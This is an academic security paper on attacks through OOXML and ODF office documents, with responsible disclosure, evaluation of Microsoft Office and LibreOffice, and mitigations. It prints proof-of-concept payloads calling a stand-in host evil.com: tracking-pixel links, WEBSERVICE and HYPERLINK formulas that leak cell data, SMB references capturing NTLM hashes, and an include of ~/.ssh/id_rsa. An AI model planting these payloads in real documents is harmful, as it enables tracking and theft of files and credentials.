Office Document Security and Privacy

Jens Müller[1], Fabian Ising[2], Christian Mainka[1], Vladislav Mladenov[1], Sebastian Schinzel[2], and Jörg Schwenk[1]

[1]*Ruhr University Bochum*
[2]*Münster University of Applied Sciences*

Abstract

OOXML and ODF are the de facto standard data formats for word processing, spreadsheets, and presentations. Both are XML-based, feature-rich container formats dating back to the early 2000s. In this work, we present a systematic analysis of the capabilities of malicious office documents. Instead of focusing on implementation bugs, we abuse legitimate features of the OOXML and ODF specifications. We categorize our attacks into five classes: (1) Denial-of-Service attacks affecting the host on which the document is processed. (2) Invasion of privacy attacks that track the usage of the document. (3) Information disclosure attacks exfiltrating personal data out of the victim's computer. (4) Data manipulation on the victim's system. (5) Code execution on the victim's machine. We evaluated the reference implementations – Microsoft Office and LibreOffice – and found both of them to be vulnerable to each tested class of attacks. Finally, we propose mitigation strategies to counter these attacks.

1 Introduction

Office Open XML (OOXML) and the *Open Document Format for Office Applications* (ODF) are the de-facto standards for office document formats. They are used by millions of people every day: According to Microsoft, there are more than 1.2 billion users of MS Office [50], which applies OOXML as its native data format for documents, spreadsheets, and presentations. According to the Document Foundation [70], LibreOffice, which is the reference implementation for ODF, has 200 million active users worldwide. Besides that, OOXML and ODF documents are heavily used in many companies. Standard office tasks such as creating invoices and contracts, accounting spreadsheets, or slides for a presentation are hardly imaginable without them. Software to process, to create, or to export OOXML and ODF documents is available on all major platforms, as well as in the cloud.

Unfortunately, there is also a long history of malware being deployed via malicious office documents, ranging from the Melissa virus [32] back in 1999, up to the recent wave of Emotet infections, which forced the IT infrastructure of entire city administrations to be taken down in 2019 [18]. Attacks based on a malicious document are facilitated by the feature richness of the underlying data formats: The OOXML specification spans over 6500 pages while the ODF standard is around 800 pages – both excluding proprietary extensions. However, we are not aware of any efforts to systematically analyze OOXML or ODF core features for harmful functionality or to summarize existing research on weaknesses in office file formats. This paper introduces an extensive study regarding the security and privacy of office documents.

1.1 Opulent Document Features

Initially released in 2005 and 2006, ODF and OOXML are the two major standards for representing word processing documents, spreadsheets, and presentations. Both data formats are based on zip compressed archives containing multiple files and directories. Both use the Extensible Markup Language (XML) to describe the actual content of the document. ODF and OOXML support numerous advanced features, ranging from spreadsheet formulas, form fields, support for other XML-based data formats such as SVG or MathML, up to digital signatures, and document encryption. Furthermore, office documents can contain active content such as macros written in various languages like Basic, JavaScript, and Python, as well as OLE file attachments of arbitrary content. In this work, we analyze the security of native OOXML/ODF functions.

1.2 Security and Privacy Threats

We present a systematic and structured analysis of OOXML and ODF standard features relevant to the security and privacy of users. Even though both data formats are relatively old and well-established, our study shows surprising results regarding the abuse of dangerous features by malicious documents.

We categorize our attacks into five classes:

1. Denial-of-Service (DoS) attacks affecting the processing application and the host on which the document is opened.
2. Invasion of privacy attacks that allow tracking of all users who open certain documents or reveal contained metadata.
3. Information disclosure attacks that exfiltrate personal data from the victim's computer to the attacker, such as private spreadsheet values, local files, or user credentials.
4. Data manipulation attacks writing to files on the host system, or masking the displayed content of a document.
5. Execution of arbitrary code on the victim's host system.

1.3 Responsible Disclosure

We reported our findings to the affected vendors and proposed appropriate countermeasures. Our findings resulted in CVE-2018-8161, CVE-2020-12802, and CVE-2020-12803. While all attacks can be mitigated on the implementation-level, most of them are based on legitimate features defined in the OOXML/ODF standards. To sustainably eliminate the root cause of these vulnerabilities in future implementations, dangerous functionality should be removed from the specification or proper implementation guidelines should be added to the security considerations.

1.4 Contributions

Past research on insecure office document features focused on single features such as macros, and only either on OOXML or ODF. We extend previous studies to a broad set of standard features in both formats, including previously unknown features, and show that both file formats suffer from similar weaknesses. Our contributions can be summarized as follows:

- We present an extensive and systematic analysis of the security and privacy of standard features of OOXML and ODF, resulting in five different attack classes. (section 4)
- We evaluate the de facto reference implementations, MS Office and LibreOffice, and show that both of them are vulnerable to each proposed class of attacks. (section 5)
- We discuss countermeasures for implementations as well as for future versions of the specifications. (section 6)

1.5 Related Work

Non-security related comparisons of OOXML and ODF have been provided by Macnaghten [45], Shah and Kesan [64], and Hou et al. [38]. The authors mainly focus on structural differences and interoperability issues of both document formats. Criticism regarding OOXML has been articulated by the free software movement and by members of the academic community. Nagarjuna [56], Updegrove [67], and Yami et al. [72] deal with the question to what extent OOXML is an open standard and which risks of vendor lock-in exist. The dangers of macros within Microsoft Office have been discussed by Dechaux et al. [23], Gajek [31], and Lagadec [44]. Vandevanter [68] showed that XXE attacks can be performed by uploading malicious OOXML documents to websites which parse them. The only research that comes close to generic security analysis of office documents are Lagadec [43] and Pöhls et al. [61], both published in 2008. In contrast to them, we analyze a different set of OOXML and ODF features.

Raffay [62] uses stenography to hide data in OOXML documents. Grothe et al. [35] analyzed the security of Microsoft rights management services (RMS) for office documents. Alonso et al. [8], and Caloyannides et al. [15] deal with the recovery of previous revisions of the document as well as metadata. How to perform a forensic investigation of office documents is described by Garfinkel et al. [33, 34], Fu et al. [30], and Didriksen [25].

In recent years, approaches to detect malware contained in office documents have been proposed [6,11,20,41,51,52]. All of them use various machine learning techniques to classify documents as either benign or malicious, with a primary focus on macros and malicious embedded OLE objects.

2 Background

Both OOXML and ODF are container formats (zip archives) containing XML files to describe the actual document content, as well as optional files such as images or style sheets. The contained XML data can describe content for various purposes, such as word processing, spreadsheets, or presentations. An overview of office components, common file extensions, as well as their assigned applications for both office suites is given in Table 1. In this section, we give an overview of the OOXML and ODF directory structure within the zip container archive and the document syntax of both formats.

	OOXML	ODF
Word processing	`.docx` (MS Word)	`.odt` (LO Writer)
Spreadsheets	`.xlsx` (MS Excel)	`.ods` (LO Calc)
Presentations	`.pptx` (MS PowerPoint)	`.odp` (LO Impress)
DB management	`.mdb` (MS Access)	`.odb` (LO Base)
Graphic layout	`.pub` (MS Publisher)	`.odg` (LO Draw)

Table 1: Common office file extensions and assigned application.

2.1 OOXML Document Structure

OOXML was specified – primarily by Microsoft – in 2006 as the ECMA-376 [2] standard and afterward adopted as ISO/IEC 29500 [5] in 2016. Microsoft Office uses OOXML since 2007, while previous versions of MS Office saved documents in a proprietary data format. In Table 2, a directory listing of the files contained in an OOXML zip archive is given.

File	Description
./[Content_Types].xml	List of all package files
./docProps/app.xml	Metadata: sections, pages
./docProps/core.xml	Metadata: author, timestamps
./_rels/.rels	Relationships within and outside of the package
./word/document.xml	Document content
./word/styles.xml	Style of sections, content, etc.
./word/settings.xml	Application-specific settings
./word/_rels/document.xml.rels	References to images

Table 2: Directory structure within an OOXML zip container archive.

The most important file contained in OOXML zip archives is *document.xml*,[1] which describes the actual content structure. A minimal "Hello World" *document.xml* is given in Listing 1.

```
<w:document xmlns:w="http://schemas.openxmlformats.org/
     wordprocessingml/2006/main">
  <w:body>
    <w:p>
      <w:r>
        <w:t>Hello World</w:t>
      </w:r>
    </w:p>
  </w:body>
</w:document>
```

Listing 1: Minimal OOXML example document (*document.xml*).

2.2 ODF Document Structure

ODF was developed by OASIS [3], then submitted to the ISO and adopted as a standard (ISO/IEC 26300, see [4]). The current stable version is ODF 1.2 from 2011, while ODF 1.3 is currently available as a draft. Like OOXML, ODF documents consist of various XML files contained within a standard zip archive. A directory structure is given in Table 3.

File	Description
./content.xml	Document content
./manifest.rdf	RDF metadata
./meta.xml	Metadata: author, timestamps
./mimetype	MIME type of the document
./settings.xml	Application-specific settings
./styles.xml	Style of sections, content, etc.
./META-INF/manifest.xml	List of all package files
./Thumbnails/thumbnail.png	Thumbnail image

Table 3: Directory structure within an ODF zip container archive.

The actual document content and the inner structure of the document is described in *content.xml*. A minimal *content.xml* file to display the text "Hello World" is given in Listing 2.

[1] *document.xml* is used for word processing documents only (*docx*). Other OOXML applications use similar files (e.g., *workbook.xml* for spreadsheets).

```
<office:document-content>
  <office:body>
    <office:text>
      <text:p>Hello World</text:p>
    </office:text>
  </office:body>
</office:document-content>
```

Listing 2: Minimal ODF example document (*content.xml*).

The most prominent ODF implementation is LibreOffice, which forked from the OpenOffice project in 2010 due to a dispute regarding open-source licensing issues.

3 Attacker Model

In this section, we describe the attacker model, including the attacker's capabilities, the victim's behavior, and the winning conditions.

3.1 Attacker's Capabilities

The *attacker* can create a new OOXML/ODF file or modify an existing one, which we denote as the *malicious document*. By this means, the attacker has full control over the document structure and its content. We do not require that the malicious document is compliant to the OOXML/ODF specifications, although the attacker targets basic functionality and features of the standard. The victim somehow obtains and opens the malicious document, e.g. by retrieving it from a web site, via email, via a USB drive or any other transmission method.

This attacker model is used for all attacks in this paper, with the exception being *evitable metadata*. In this case, the victim is the one creating the document and the goal of the attacker is to obtain potentially sensitive information from this document, such as the author's name within the document's metadata.

3.2 Victim's Behavior

The *victim* is a person retrieving and opening a malicious OOXML or ODF document from an attacker-controlled source. This requirement is realistic since even security-aware users download and open office documents from untrusted sources such as email attachments or from the Internet (e.g., scientific articles, CV templates, or job applications).

To open the malicious document, the victim uses a pre-installed *office suite* application (e.g., Microsoft Word or LibreOffice Writer) that processes the file to display its content. All attacks work in the default settings and do *not* require the victim to activate any insecure features such as macros.

3.3 Winning Conditions

Based on the diversity of the attacks, the winning conditions also differ. Thus, we define the attacker's goals and winning conditions separately for each attack class in section 4.

4 Attacks

In this section, we introduce attacks based on malicious office documents. At the beginning of each section, we discuss the attack goals and their applicability.

Methodology

To identify potential weaknesses in OOXML and ODF, we systematically studied both specifications for security-sensitive capabilities and features. This analysis includes more than 6500 pages on OOXML [2] and about 800 pages on ODF [3]. We created a list of potential attacks, which can be carried out using malicious documents in both standards, and classified them based on their impact, resulting in five attack classes: *DoS*, *invasion of privacy*, *information disclosure*, *data manipulation* and *code execution*. To facilitate the analysis, we manually crafted test files for each attack.

4.1 Denial of Service

The goal of this class of attacks is to craft OOXML or ODF documents that force processing applications to consume all available resources (e.g., memory or CPU time).

Deflate Bomb Data amplification attacks based on malicious zip archives are well known (compare [12,27,58]). The *Deflate* [24] algorithm used in zip files allows for a maximal compression ratio of 1:1023. However, various attempts were made in the past to improve the data amplification ratio, for example, by applying recursion [1, 22, 27, 28]. Technically, both OOXML and ODF use zip archives to reduce the overall file size of the contained data, leading to the question if they are also vulnerable to *Deflate* based compression bombs.

Note that while the impact of such compression bombs is limited on desktop devices, DoS can lead to severe business impairment on the server-side. Examples are cloud-based office solutions, as well as web applications which generate preview images of uploaded OOXML and ODF files.[2]

4.2 Invasion of Privacy

This class of attacks targets the privacy of users. Our first attack, URL invocation, tracks the usage of OOXML and ODF documents by embedding a "tracking pixel". The other attack, evitable metadata, deals with the question of which information an attacker can learn from a document *created by* the victim.

URL Invocation The goal of this attack is to create a document that silently connects to an attacker-controlled server once opened by the victim. The document may contain a tracking ID (e.g., in the URL path or subdomain), which can be used to track the usage of the document for anyone who opens it. Such behavior is generally not desired as it represents an invasion of the user's privacy. In the scenario of more targeted attacks, this feature can be used, for example, to deanonymize Tor[3] users by providing the document for download over the Tor network, or to obtain information about reviewers opening a paper submitted as an office document. Besides learning the victim's IP address and the timestamp when the document is read, an attacker may learn additional information such as the used office suite or operating system, which can be extracted from the *User-Agent* HTTP header. There are even commercial services[4] that offer to patch Microsoft Office documents (in the old proprietary format) so that everyone who opens them can be tracked. "Tracking pixels" within OOXML documents have been demonstrated by Villarreal [69]. We show novel URL invocation attacks for ODF and evaluate if modern office suites do still load external images for OOXML.

Evitable Metadata There are various examples of unintentional metadata exposure in office documents. For example, in 2003, the UK Prime Minister's Office published a Word document, commonly known as the "Dodgy Dossier", which helped to propel the country into the Iraq war. The document revisions logs and metadata revealed that the content was plagiarized and never originated from UK intelligence agencies [71]. The problem of unwanted metadata and hidden information in office documents and other file formats is well known and has been discussed, for example, by Garfinkel [33]. Even though metadata is a feature of the OOXML and ODF standards, from a privacy perspective, processing applications should avoid including excessive metadata by default and instead let users opt-in. The research questions arise if modern office suites still silently include potentially sensitive metadata such as the name of the currently logged in user – when saving the document either in a native office format or after exporting it to other file formats such as PDF. In our evaluation, we show which amount of metadata information is stored by MS Office and LibreOffice using the default settings.

4.3 Information Disclosure

The goal of this class of attacks is to exfiltrate OOXML and ODF spreadsheet data, local files on the victim's disk, or even NTLM credentials to the attacker.

Data Exfiltration The idea of this attack is as follows: the victim downloads an OOXML or ODF spreadsheet from an attacker-controlled source (e.g., a spreadsheet template to track personal finances) and inserts sensitive information here. The goal of the attacker is to leak all user input, for example, personal information regarding the victim's financial situation.

[2] For ethical reasons, we did not perform any DoS tests on third-party servers.

[3] See https://www.torproject.org/.

[4] For example, http://www.readnotify.com/readnotify/pmdoctrack.asp.

To achieve this goal, the attacker manipulates the spreadsheet in such a way that cells containing sensitive data are referred to and concatenated as the path of a hyperlink to the attacker's web server. In the event that the user clicks this hyperlink, the content, which can be further obfuscated, for example, using encoding mechanisms based on spreadsheet formulas, is exfiltrated. Such "formula injection attacks" have been proposed by Kettle [40] in 2014. We evaluate if similar vulnerabilities are still present in modern office suites and how the level of user interaction can be minimized.

File Disclosure Both the OOXML and ODF standards provide various features which enable a document to access and include local files on disk. Recently, Hegt and Ceelen [37] showed how to exploit the *includetext* and *includepicture* command of Microsoft Office Fields to embed files in Word documents. In 2018, Prashar et al. [60] and Klementev et al. [42] demonstrated how to abuse legitimate LibreOffice Calc features to populate spreadsheet cells with the content of local files on disk. In this work, we propose a novel attack targeting the ODF specification, which allows to refer to and thereby include remote images as well as text files. This functionality can be exploited using a *file://* URI scheme. Once files have successfully been embedded by a malicious document, they can potentially be leaked to the attacker using the previously discussed techniques of data exfiltration.

Credential Theft Recently, Hegt et al. [37] showed how to steal user credentials by simply *asking* users for them. They created a specially crafted OOXML template document which triggers a connection to a web server that requests for HTTP basic authentication [29]. When opening the template with Microsoft Word, an authentication dialog is shown and any password entered by the user is submitted to the attacker's server. This attack is based on deception and requires social engineering. Therefore, the research question arises, if the victim's credentials can be leaked without any user interaction.

One technique to potentially achieve this is by abusing NTLM authentication. A well-known, decade-old design flaw in Microsoft Windows allows users and applications running on the host to invoke a connection to SMB network shares [63]. If a rogue SMB server requests for authentication, Windows automatically submits a hash of the credentials of the currently logged-in user, which can further be used by the attacker to start offline dictionary attacks (see [19, 48]) as well as pass-the-hash or relay attacks (see [39, 57]) to bypass authentication. Unfortunately, not only applications but also documents can access network shares such as `\\evil.com`. In April 2018, Baharav et al. [10] showed that NTLM credentials can be exfiltrated if the victim opens a malicious PDF file. As both OOXML and ODF support access to external resources, it is likely that network shares can be accessed, thereby leaking NTLM hashes. To the best of our knowledge, we are the first to demonstrate such attacks for OOXML/ODF files.

4.4 Data Manipulation

This attack class deals with the capabilities of a malicious office document to write to local files on the host's file system and to mask their content based upon the opening application.

File Write Access OOXML and ODF documents can contain forms to be filled out by the user – a feature used daily in typical office tasks, for example, to file claims or business trip applications. Similar to HTML forms, the contained form data can be submitted to a URI, for example, to an external web server. To create submittable forms in OOXML, macros are required, which are discussed in subsection 4.5. However, ODF implements the XForms W3C standard [13], which allows data to be submitted without the need for macros or other active scripting. The XForms specification allows various methods (e.g., *post*, *get*, *delete*) and the target of a form submission can even be a local file on disk. If naively implemented, XForms in ODF documents may be used to overwrite or delete arbitrary files on the user's file system. Furthermore, file write access can potentially be escalated to command execution, if the attacker manages to overwrite startup scripts such as *autoexec.bat* on Windows or *.profile* on macOS/Linux. We are the first to propose and evaluate this novel attack based on XForm data submission to a local file on disk.

Content Masking The goal of this attack is to craft OOXML or ODF documents that render differently, depending on the application used to open the document. This can be a security problem in cases where the document content *must* be unambiguous, such as sales agreements or business contracts. One scenario of particular interest could be an attacker creating an ambiguous contract document that is to be digitally signed by the victim.[5] In such a case, the victim would unintentionally sign a displayed content that looks different if another application opens the document. Other use cases of content masking could be, for example, to show different content to different reviewers, or to launch exploit code only if the document is processed by a certain OOXML or ODF application.

Content masking attacks have been previously shown for other file formats such as PDF [7,46,47], PostScript [9,21,54], or HTML email [53]. They abuse ambiguities, edge cases, or conditional statements when interpreting the file format structure or the high-level syntax in order to show or hide certain text in a certain context. For OOXML or ODF documents, we create ambiguities on the layer of the directory structure and the naming convention of files within the zip container archive, as well as on the XML syntax layer. To the best of our knowledge, we are the first to propose such content masking attacks for office documents.

[5] Both OOXML and ODF support digital XAdES [16] signatures.

4.5 Code Execution

The goal of this attack is to execute attacker-controlled code, for example, to infect the host with malware. Both OOXML and ODF files can contain macros, which – if enabled – may be abused to run arbitrary code on the host system.

Macros With the first macro viruses emerging over 20 years ago, the dangers of macros in office documents are well known (see [31, 36, 44]). In the past, macros have led to code execution based on malicious office documents in both Microsoft Office and LibreOffice. As the recent wave of Emotet infections show – which have spread via OOXML macros – the problem is not yet under control. In this work, we answer the following research questions:

1. Which amount of user interaction or trust is required to activate the execution of macros in modern office suites?
2. Once enabled, can macros execute arbitrary code by design, or are there any limitations regarding their capabilities?
3. Are there other features that may lead to code execution?

5 Evaluation

To evaluate the proposed attacks, we tested them against the de-facto reference implementations of OOXML and ODF: MS Office (365 ProPlus) and LibreOffice (6.4.0.3). Both office suites claim at least *partial* compatibility for each other's native file format. For example, modern versions of MS Word can open ODF files created with LibreOffice Writer. Therefore, malicious OOXML and ODF documents were tested in both applications. Tests were performed on all available platforms – Windows, macOS, Linux[6], and Web[7] – because the results may differ depending on certain implementations. We classify an office suite as vulnerable if it is vulnerable on at least one platform. Full details for each tested platform are given in Table 7 in the appendix. All tests were performed using the applications' default settings. Proof of concept exploit files are available at https://github.com/RUB-NDS/Office-Security to allow reproduction. Evaluation results are depicted in Table 4.

5.1 Denial of Service

Deflate Bomb The objective of this attack is to build OOXML and ODF based compression bombs that force processing applications to allocate all available resources. To accomplish this goal, we constructed legitimate OOXML and ODF container archives, both with a valid directory structure and a valid XML syntax. We crafted the main *document.xml* and *content.xml* files, each of them containing a long string of 10 GB of repeated characters, "AAAAA...", to be displayed.

[6] LibreOffice only; Microsoft Office is not available for Linux.
[7] Office 365 Cloud and LibreOffice Online.

	Microsoft Office		LibreOffice	
	OOXML	ODF	ODF	OOXML
Denial of Service	●	●	◐	◐
URL Invocation	●	●	●	●
Evitable Metadata	●	●	○	○
Data Exfiltration	◐	◐	◐	◐
File Disclosure	○	○	◐	○
Credential Theft	●	●	●	●
File Write Access	○	○	●	○
Content Masking	◐	◐	●	●
Code Execution	◐	○	●	○

● vulnerable ◐ vulnerability limited ○ not vulnerable

Table 4: Evaluation results for Microsoft Office and LibreOffice.

Microsoft Office tries to expand the container in memory. On Windows, once no more memory can be allocated, it shows an error message, stating that the document cannot be opened. However, on macOS, MS Office is forced into a CPU consumption loop. LibreOffice instead expands the zip archive to disk. However, it stops after 4 GB for each document. Thereby, we classify the vulnerability as *limited* here.

We also tested for OOXML and ODF based "XML bombs" (XML entity expansion attacks, see [65, 66]); however none of the tested office suites was found to be vulnerable.

5.2 Invasion of Privacy

URL Invocation To test for (silent) URL invocation, we systematically studied the XML syntax of OOXML and ODF for legitimate features to trigger a network connection. Similar to "tracking pixels" in HTML emails, remote images can be included in both file formats. A straightforward method is depicted in the OOXML *Relationship* documented below.

```
<Relationship Id="evil" Target="http://evil.com/tracking_id/"
    TargetMode="External"/>
```

It contains a field with an external image. This *Relationship* must further be referenced from the main *document.xml* file.

```
<pic:blipFill><a:blip r:link="evil"/>
```

In ODF documents, external images can be included by setting their URL to the value of an `href` attribute of an `<draw:image>` XML tag as depicted in Listing 3.

```
<office:document-content>
  <office:body>
    <office:text>
      <text:p>
        <draw:frame>
          <draw:image xlink:href="http://evil.com/tracking_id/"/>
        </draw:frame>
      </text:p>
    </office:text>
  </office:body>
</office:document-content>
```

Listing 3: Minimal ODF document with a tracking pixel of *evil.com*

It must be noted that URL invocation is a legitimate feature "by design" in both OOXML and ODF and is not intended to be removed by both Microsoft and the LibreOffice developers. However, it may not be obvious to all users that malicious documents can silently "phone home".

Furthermore, note that this may lead to server side request forgery (SSRF) vulnerabilities if the file is previewed on the server-side, for example, to generate preview images for office documents uploaded to cloud storage websites (out of scope).

Evitable Metadata To test how much metadata is stored by modern office suites, we created a new document in both MS Office and LibreOffice and saved it in OOXML and ODF format. Also, we exported the document to PDF and HTML formats in order to see if metadata would remain in the exported file formats. Evaluation results are depicted in Table 5. Note that they are consistent for both tested office suites, regardless whether the document is saved as OOXML, ODF, PDF, or HTML formats, each resulting in the same metadata.

	Microsoft Office				LibreOffice			
	OOXML	ODF	PDF	HTML	ODF	OOXML	PDF	HTML
Timestamp	●	●	●	●	●	●	●	●
Software	●	●	●	●	●	●	●	●
Username	●	●	●	●	○	○	○	○

● stored in metadata ○ not stored in metadata

Table 5: Comparison of the metadata included by Microsoft Office and LibreOffice when saving or exporting to various file formats.

Microsoft Office does not only store relatively harmless information such as the timestamp of document creation and the software used to generate the document, but also the author's name, derived from the name of the currently logged in user. In case the document is modified by another person, the co-author's username and the modification date are also added to the metadata. A simplified OOXML metadata file, as produced by MS Office, is given in Listing 4 (*docProps/core.xml*).[8]

```
<cp:coreProperties>
  <dc:creator>John Smith</dc:creator>
  <cp:lastModifiedBy>Jane Smith</cp:lastModifiedBy>
  <dcterms:created>2020-03-14T15:52:00Z</dcterms:created>
  <dcterms:modified>2020-03-14T15:55:00Z</dcterms:modified>
</cp:coreProperties>
```

Listing 4: Excerpt of OOXML metadata generated by MS Office.

LibreOffice, on the other hand, only stores the timestamp and the generator software, which we do not classify as *vulnerable* in our evaluation. A simplified ODF metadata file, as produced by LibreOffice, is given in Listing 5 (*meta.xml*).

[8]Metadata for creator software is saved in a separate file: *docProps/app.xml*.

```
<office:document-meta>
  <office:meta>
    <dc:date>2020-03-14T16:58:42.487000000</dc:date>
    <meta:generator>LibreOffice/6.4.0.3.2$Windows_x86</meta:
        generator>
  </office:meta>
</office:document-meta>
```

Listing 5: Excerpt of ODF metadata generated by LibreOffice.

We also tested if previous revisions of the document had been stored and could be recovered, which was not the case in the default settings. In the past, this feature has raised a lot of privacy concerns in office documents [8, 15]. Nowadays, tracking changes must be explicitly enabled in current versions of both MS Office and LibreOffice.

Furthermore, we crawled the Internet for PDF files created by office suites (based on generator software metadata).[9] Of 40,981 obtained files which were created with Microsoft Office, 39,445 (96.25%) contained an author name, while this was only true for 1,801 of 2,654 files created with LibreOffice or OpenOffice (67.85%) – probably having been set on purpose here. This shows that a "privacy by default" approach has a practical effect regarding the exposure of sensitive metadata.

5.3 Information Disclosure

Data Exfiltration To test if spreadsheet data can be exfiltrated to an attacker-controlled server, we created a spreadsheet formula with a *hyperlink*, referencing to certain cells in the document as the URL path, as depicted below.

```
=HYPERLINK("http://evil.com/" &A1 &B2, "Click me")
```

In case the user actively follows the link, both MS Office and LibreOffice include the content of the referenced cells and submit them as the URL path.

An improved version is depicted below, which uses the *webservice* function to automatically leak the spreadsheet content once the document is opened.

```
=WEBSERVICE(TEXTJOIN("|", 1, "http://evil.com/", A:Z))
```

In this example, the content of all cells in the columns *A–Z* is exfiltrated to the attacker's server once the victim re-opens or refreshes the spreadsheet. However, in both MS Office and LibreOffice, the user is asked to update the content before invoking the webservice connection. Therefore, we classify the vulnerability as *limited*. For MS Office, the *webservice* function is only available on Windows. For LibreOffice, we were further able to leak the path name of the currently opened document, by referencing a cell with the content `='''file://'#$B2`, which was internally translated to `file:///home/victim/path/to/document`.

[9]We obtained the dataset by crawling the Cisco Umbrella 1 Million list of domains (see https://s3-us-west-1.amazonaws.com/umbrella-static/index.html). We collected available PDF files from their web servers, because PDF is more common in the web than OOXML or ODF, resulting in a larger sample.

File Disclosure The idea of this attack is to combine functionality to exfiltrate data, as shown previously, with insecure features which allow the inclusion of local files on disk. The first step is to embed a local file on disk into the document. For OOXML we did not find functional features to achieve this. For ODF, the feature to refer to remote images can be re-used – this time with a *file://* URI scheme as shown in Listing 6.

```
<draw:frame>
  <draw:image xlink:href="file:///path/to/sensitive-pic.jpg"/>
</draw:frame>
```

Listing 6: XML to include image files on disk into ODF document.

This allows a document to embed arbitrary images on disk without any user interaction required. Moreover, using the `<draw:object>` or `<text:section-source>` ODF XML tags, files of arbitrary type can be included into the malicious document as depicted in Listing 7.

```
<text:section>
  <text:section-source xlink:href="file:///~/.ssh/id_rsa"/>
</text:section>
```

Listing 7: XML to include arbitrary files on disk into ODF document.

In this example, the SSH private key (`~/.ssh/id_rsa`) of the victim is included into the document. Note that the existence of such embedded objects can be completely hidden. However, LibreOffice asks the user to update references in the document before including arbitrary files from disk.

We were not actually able to exfiltrate embedded files using spreadsheet functions, because their content cannot be placed into a certain cell and therefore not be referenced. However, other potential exfiltration channels exist: If the malicious document is re-saved by the victim, a copy of the file on disk is silently embedded into the ODF zip container archive. The same holds if the document is exported (e.g., to PDF). This is problematic in a scenario where the attacker gets access to the newly saved document – for example if the victim is asked to review and add feedback to an attacker-controlled document. We classify the vulnerability as *limited*, because of the lack of fully automated exfiltration channels.[10]

We also tested accessing local files using the XForm *get* method and a *file://* URI scheme. While we could observe a `read` system call to the targeted file, LibreOffice did not actually update the document's XForm with the file's content. Furthermore, we tested for XML Inclusions (XInclude) [49] as well as DTD/XXE [65] attacks to access local files, however, none of the tested office suites was vulnerable. Finally, we crafted OOXML and ODF zip container archives containing symbolic links to local files on disk in order to verify if such links would be followed and the referenced files would be accessed. However, this approach was not successful either.

[10] Note that in the context of web applications, generated preview images of uploaded documents may act as an exfiltration channel for file inclusion. However, attacks on real-world websites are not in the scope of this work.

Credential Theft To test for leakage of NTLM hashes based on specially crafted office documents, we used the technique to include tracking pixels, as described above. Instead of a URL, we set the target to `//evil.com`, which translates to `\\evil.com` on modern Windows versions.[11] For OOXML, a *Relationship* to silently trigger a connection to an SMB server running on *evil.com* is given below.

```
<Relationship Id="x" Target="//evil.com" TargetMode="External"/>
```

For ODF, the corresponding XML syntax is depicted below.

```
<draw:frame><draw:image xlink:href="//evil.com"/></draw:frame>
```

Using Responder[12] as a rogue authentication server, we were able to obtain the client's NTLM hashes without the victim noticing or being asked for confirmation to open a connection to the rogue network share for both tested office suites and each of the office file formats. Of course, it is up to the configuration of the victim's setup (i.e., password strength, security policy, and Windows version) if efficient cracking or relay attacks are practically feasible. Note that, by design, only applications running on Windows are affected.

5.4 Data Manipulation

File Write Access To test if form data can be written to local files, we created an ODF document with an XForm. The XForm uses the *put* method to submit data to a local file on disk, specified by the *file://* URI scheme, see Listing 8.

```
<office:forms>
  <xforms:model id="XForm">
    <xforms:instance id="Instance1">
      <instanceData>
        <Data>...</Data>
      </instanceData>
    </xforms:instance>
    <xforms:bind xmlns:script="http://openoffice.org/2000/script"
      id="Binding1" nodeset="Data/Test/*"/>
    <xforms:submission id="SaveData" bind="Binding1" ref="/"
      action="file://~/NEWFILE" method="put"/>
  </xforms:model>
</office:forms>
```

Listing 8: XForm which submits data to a file in the home directory.

The form is triggered by a button. However, this button can be set to look like normal text and cover the whole document. Thereby, a single click somewhere in the document triggers the form submission and writes the contained form data to the specified target. To our surprise, this allowed us to write to or overwrite arbitrary files on disk, specified by their path name. In addition to absolute path names, files relative to the user's home directory can be accessed using the tilde (~) character. LibreOffice on macOS and Linux is vulnerable to this attack.

[11] Note that using `\\evil.com` directly is also possible for OOXML, however it was blocked for ODF documents in both tested office suites.

[12] See https://github.com/SpiderLabs/Responder.

Content Masking To test for content masking attacks based on office documents, we systematically studied the OOXML and ODF standards for ambiguities at the level of the directory structure as well as the XML structure. We define an office suite as vulnerable if we can create a document that displays different text in different opening applications. ODF defines the main content file to be named *content.xml*, however, the specification does not make a statement regarding case sensitivity. By placing two OpenDocument content files with mixed-case names into the ODF container, *Content.xml* and *content.XML*, we were able to enforce a decision regarding which file is to be processed by applications: LibreOffice parses the first one, while MS Office uses the second file.[13] Interestingly, this concept cannot be adapted to OOXML because MS Office completely refuses to open OOXML documents if a second (upper or lowercase) *document.xml* file is present.

Further ambiguities arise on the layer of the XML structure, for example, if a document contains multiple body nodes. In such a case, processing applications need to decide which one to process, which leads to confusion between office suites. An example OOXML document which renders different text in LibreOffice and Microsoft Office is given in Listing 9.

```
<w:document>
  <w:body>
    <w:body>
      <w:p>
        <w:r>
          <w:t>This text is shown Microsoft Office.</w:t>
        </w:r>
      </w:p>
    </w:body>
    <w:p>
      <w:r>
        <w:t>This text is shown LibreOffice.</w:t>
      </w:r>
    </w:p>
  </w:body>
</w:document>
```

Listing 9: Ambigious *document.xml* including two `w:body` nodes.

The *document.xml* file contains two body elements, wrapped into each other. LibreOffice processes only the second body nodes and displays the contained text, while MS Office parses both body nodes.[14] While this is not valid XML within the OOXML schema it is still accepted by both implementations.

It must be noted that, in this work, we only analyzed content masking on the layers of the directory structure and the outer XML structure. This is unlikely to be complete because the high-level syntax of OOXML and ODF is very complex and potentially offers more possibilities to show/hide text based upon enabled/disabled features in processing applications.

[13] When opening this file, MS Word asks the user to recover the document. Although we assume that a user who wants to access the content is willing to confirm the document recovery dialog, we classify the vulnerability as *limited*.

[14] We classify the vulnerability as *limited* for MS Office, because the second body is still processed. Note however that the actual text can be hidden, for example, by adding newlines after the first text.

5.5 Code Execution

Macros The execution of macros is disabled by default and the user has to explicitly enable it in both Microsoft Office and LibreOffice. However, there are some exceptions for documents signed by a trusted entity and documents within a trusted location, as summarized in Table 6.

	MS Office	LibreOffice
document signed by a trusted entity	✓	✓
document contained in a trusted location	✓	

Table 6: Exceptions for disabled macros in the default settings.

In MS Office, the default setting is to disable macros while notifying the user about the existence of the macro. However, documents signed by trusted publishers or documents in trusted locations can execute macros, regardless of the macro settings. This means that if an attacker has write access to any of these pre-defined trusted locations, the attacker can put macro code here, which is executed without any confirmation. In LibreOffice, there are no pre-defined trusted locations. Furthermore, UI design weaknesses regarding macro security dialogues have been identified by Dormann [26] who concludes that recent versions of MS Office make it much easier for the user to make the wrong decision.

While social engineering is usually required to *activate* macros, once enabled, there is no limitation regarding their capabilities. In MS Office, macros are written in Visual Basic for Applications (VBA). Enabled macros allow the execution of arbitrary commands on the host system, see Listing 10.

```
Sub AutoOpen()
Shell ("[command] [parameters]")
